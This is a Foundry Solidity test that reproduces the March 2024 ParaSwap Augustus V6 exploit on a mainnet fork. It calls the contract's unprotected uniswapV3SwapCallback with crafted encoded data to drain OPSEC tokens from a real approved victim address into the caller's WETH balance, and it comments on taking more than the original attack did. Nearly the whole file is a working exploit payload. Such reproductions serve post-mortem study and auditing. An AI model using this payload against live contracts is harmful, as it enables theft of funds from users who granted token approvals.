src/test/2024-03/Paraswap_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$24K
8// Whitehat : https://etherscan.io/address/0xfde0d1575ed8e06fbf36256bcdfa1f359281455a
9// Whitehat Contract : https://etherscan.io/address/0x6980a47bee930a4584b09ee79ebe46484fbdbdd0
10// Vuln Contract : https://etherscan.io/address/0x00000000fdac7708d0d360bddc1bc7d097f47439
11// Attack txs : https://app.blocksec.com/explorer/tx/eth/0x35a73969f582872c25c96c48d8bb31c23eab8a49c19282c67509b96186734e60
12 
13// @Analysis
14// https://medium.com/neptune-mutual/analysis-of-the-paraswap-exploit-1f97c604b4fe
15 
16interface IParaSwapAugustusV6 {
17    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory data) external;
18}
19 
20contract ContractTest is Test {
21    IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
22    IERC20 private constant OPSEC = IERC20(0x6A7eFF1e2c355AD6eb91BEbB5ded49257F3FED98);
23    IERC20 private constant wTAO = IERC20(0x77E06c9eCCf2E797fd462A92B6D7642EF85b0A44);
24    IParaSwapAugustusV6 private constant AugustusV6 = IParaSwapAugustusV6(0x00000000FdAC7708D0D360BDDc1bc7d097F47439);
25    // User who had provided approval for Augustus V6 contract
26    // Amount of OPSEC will be transferred from this user
27    address private constant from = 0x0cc396F558aAE5200bb0aBB23225aCcafCA31E27;
28 
29    function setUp() public {
30        vm.createSelectFork("mainnet", 19_470_560);
31        vm.label(address(WETH), "WETH");
32        vm.label(address(OPSEC), "OPSEC");
33        vm.label(address(wTAO), "wTAO");
34        vm.label(address(AugustusV6), "AugustusV6");
35    }
36 
37    function testExploit() public {
38        emit log_named_decimal_uint(
39            "Exploiter WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
40        );
41 
42        emit log_named_decimal_uint("Victim OPSEC balance before attack", OPSEC.balanceOf(from), OPSEC.decimals());
43 
44        emit log_named_decimal_uint(
45            "Victim approved OPSEC amount before attack", OPSEC.allowance(from, address(AugustusV6)), OPSEC.decimals()
46        );
47 
48        // Amount0Delta negative value can be arbitrary up to 0
49        int256 amount0Delta = 0;
50        // In the attack tx 6_463_332_789_527_457_985 amount of WETH was transferred to the exploiter (frontran by whitehat)
51        // Let's try more -> 10 WETH
52        int256 amount1Delta = 10e18;
53        address to = address(this);
54        uint256 fee1 = 3000;
55        uint256 fee2 = 10_000;
56        bytes32 encodedOPSECAddr = 0x8000000000000000000000006a7eff1e2c355ad6eb91bebb5ded49257f3fed98;
57        bytes memory data =
58            abi.encode(to, from, address(wTAO), address(WETH), fee1, encodedOPSECAddr, address(WETH), fee2);
59 
60        AugustusV6.uniswapV3SwapCallback(amount0Delta, amount1Delta, data);
61 
62        emit log_named_decimal_uint(
63            "Victim OPSEC balance after attack", OPSEC.balanceOf(address(from)), OPSEC.decimals()
64        );
65 
66        emit log_named_decimal_uint(
67            "Victim approved OPSEC amount after attack", OPSEC.allowance(from, address(AugustusV6)), OPSEC.decimals()
68        );
69 
70        emit log_named_decimal_uint(
71            "Exploiter WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
72        );
73    }
74}